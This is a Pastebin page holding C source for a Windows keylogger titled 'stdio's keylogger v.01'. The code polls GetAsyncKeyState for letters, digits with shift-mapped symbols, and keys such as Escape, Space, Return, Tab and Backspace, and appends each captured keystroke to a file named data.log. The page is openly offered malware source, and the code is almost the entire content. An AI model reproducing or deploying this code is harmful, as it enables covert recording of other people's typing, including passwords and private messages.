Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <windows.h>
- #include <winuser.h>
- extern FILE *out_file;
- /*
- stdio's keylogger v.01
- Compiled on Dev-C++ 4.9.9.2 WinXP 32 Bit
- Key Debounce Line ***Just FYI***
- while(GetAsyncKeyState(character)==-32768){}
- MSDN KEY CODES
- http://msdn.microsoft.com/en-us/library/ms927178.aspx
- GetAsyncKeyState MSDN Reference
- http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx
- To do: Add Numpad Support, Fnums support, Punctuation.
- To use: Build a main function and link to this code.
- */
- int GetKey()
- {
- short character;
- Sleep(30);
- /*ALPHA CHARACTERS V_KEY*/
- for (character=0x41;character <= 0x5A;character++)
- {
- if (GetAsyncKeyState(character)==-32768)
- {
- out_file = fopen("data.log","a+");
- /*UPPERCASE*/
- if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_LSHIFT))
- {
- while(GetAsyncKeyState(character)==-32768){}
- fputc(character, out_file);
- fclose(out_file);
- }
- /*LOWERCASE*/
- else
- {
- while(GetAsyncKeyState(character)==-32768){}
- fputc(character+0x20, out_file);
- fclose(out_file);
- }
- }
- }
- /*Numerical Row*/
- for (character=0x30;character <= 0x39;character++)
- {
- if (GetAsyncKeyState(character)==-32768)
- {
- out_file = fopen("data.log","a+");
- /*Map Keys to Special Characters*/
- if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT))
- {
- while(GetAsyncKeyState(character)==-32768){}
- switch(character)
- {
- case(0x31):
- fputs("!", out_file);
- fclose(out_file);
- break;
- case(0x32):
- fputs("@", out_file);
- fclose(out_file);
- break;
- case(0x33):
- fputs("#", out_file);
- fclose(out_file);
- break;
- case(0x34):
- fputs("$", out_file);
- fclose(out_file);
- break;
- case(0x35):
- fputs("%", out_file);
- fclose(out_file);
- break;
- case(0x36):
- fputs("^", out_file);
- fclose(out_file);
- break;
- case(0x37):
- fputs("&", out_file);
- fclose(out_file);
- break;
- case(0x38):
- fputs("*", out_file);
- fclose(out_file);
- break;
- case(0x39):
- fputs("(", out_file);
- fclose(out_file);
- break;
- case(0x30):
- fputs(")", out_file);
- fclose(out_file);
- break;
- default:
- fputs("Error\n", out_file);
- fclose(out_file);
- break;
- }
- }
- /*Defaulted Numbers*/
- else
- {
- while(GetAsyncKeyState(character)==-32768){}
- fputc(character, out_file);
- fclose(out_file);
- }
- }
- }
- /* Catch Single Special Keys */
- if (GetAsyncKeyState(VK_ESCAPE))
- {
- while(GetAsyncKeyState(VK_RETURN)==-32768){}
- out_file = fopen("data.log","a+");
- fputs("[ESC]", out_file);
- fclose(out_file);
- }
- if (GetAsyncKeyState(VK_SPACE))
- {
- while(GetAsyncKeyState(VK_SPACE)==-32768){}
- out_file = fopen("data.log","a+");
- fputs(" ", out_file);
- fclose(out_file);
- }
- if (GetAsyncKeyState(VK_RETURN))
- {
- while(GetAsyncKeyState(VK_RETURN)==-32768){}
- out_file = fopen("data.log","a+");
- fputs("\n", out_file);
- fclose(out_file);
- }
- if (GetAsyncKeyState(VK_TAB))
- {
- while(GetAsyncKeyState(VK_TAB)==-32768){}
- out_file = fopen("data.log","a+");
- fputs("[TAB]", out_file);
- fclose(out_file);
- }
- if (GetAsyncKeyState(VK_BACK))
- {
- while(GetAsyncKeyState(VK_BACK)==-32768){}
- out_file = fopen("data.log","a+");
- fputs("[BACK]", out_file);
- fclose(out_file);
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement